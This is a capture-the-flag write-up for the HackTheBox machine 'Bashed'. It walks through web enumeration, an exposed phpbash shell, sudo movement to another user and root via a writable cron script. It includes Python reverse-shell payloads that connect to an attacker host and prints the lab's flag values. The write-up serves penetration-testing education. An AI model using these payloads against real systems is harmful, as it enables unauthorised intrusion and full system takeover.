Overview

Bashed is a Linux machine on HackTheBox rated Easy. The attack path goes:

Enumerate the web server to find a PHPBash web shell
Use the shell to get a reverse connection
Escalate to scriptmanager via sudo
Abuse a cron job running a Python script as root

Reconnaissance

Port Scan

nmap -sC -sV -oA bashed 10.10.10.68

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

Only port 80 is open. Let's enumerate the web application.

Web Enumeration

gobuster dir -u http://10.10.10.68 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

Key findings:

/dev/ — directory listing enabled
/dev/phpbash.php — an in-browser PHPBash shell!

Initial Access

Browsing to http://10.10.10.68/dev/phpbash.php gives us a functional web shell running as www-data.

Upgrading to a Reverse Shell

On attacker machine:

nc -lvnp 4444

In the web shell:

python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.x",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

Stabilise the shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

User Flag

www-data@bashed:/var/www/html/dev$ cat /home/arrexel/user.txt
3b87e6f60b41618d5c11534a4ce11a74

Privilege Escalation

Sudo Check

sudo -l

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

We can run any command as scriptmanager without a password.

sudo -u scriptmanager /bin/bash

Now we're scriptmanager.

Cron Job Abuse

Checking /scripts:

ls -la /scripts/

total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec  4  2017 .
drwxr-xr-x 23 root          root          4096 Dec  4  2017 ..
-rw-r--r-- 1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r-- 1 root          root            12 Apr 10 12:01 test.txt

test.txt is owned by root but recently modified — a cron job is running test.py as root!

# test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close

We overwrite test.py with a reverse shell payload:

import socket, subprocess, os
s = socket.socket()
s.connect(("10.10.14.x", 4445))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])

Start a listener, wait for the cron job to fire (roughly every minute):

nc -lvnp 4445

Root Flag

root@bashed:/scripts# cat /root/root.txt
acd16c8a2e9deff2c44c54a9f89bfd6c

Summary

Step	Details
Port scan	Port 80 (Apache)
Initial access	PHPBash web shell at `/dev/phpbash.php`
Lateral move	`sudo -u scriptmanager /bin/bash`
PrivEsc	Cron job executing writable `test.py` as root

Key takeaway: Never expose development tools (like phpbash) on a production server. Directory listing should also always be disabled.